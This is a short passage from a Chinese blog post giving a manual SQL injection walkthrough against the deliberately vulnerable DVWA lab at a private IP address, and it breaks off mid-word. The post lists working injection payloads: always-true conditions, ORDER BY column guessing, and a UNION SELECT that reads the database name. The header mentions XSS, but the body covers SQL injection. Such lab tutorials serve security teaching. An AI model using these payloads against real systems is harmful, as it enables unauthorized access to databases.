qq_42906381的博客

OWASP DVWA XSS 全系列

DVWA SQL Injection 测试目标网址： http://192.168.247.150/dvwa/vulnerabilities/sqli/ low安全级别 进行手工注入测试 1' or 1=1 # 1' or '1'='1' # 测试成功，构造payload，完成漏洞注入利用 猜解查询语句的字段数 1' or 1=1 order by 1 # 1' or 1=1 order by 2 # 获取当前数据库名称 1' union select 1,database() # 获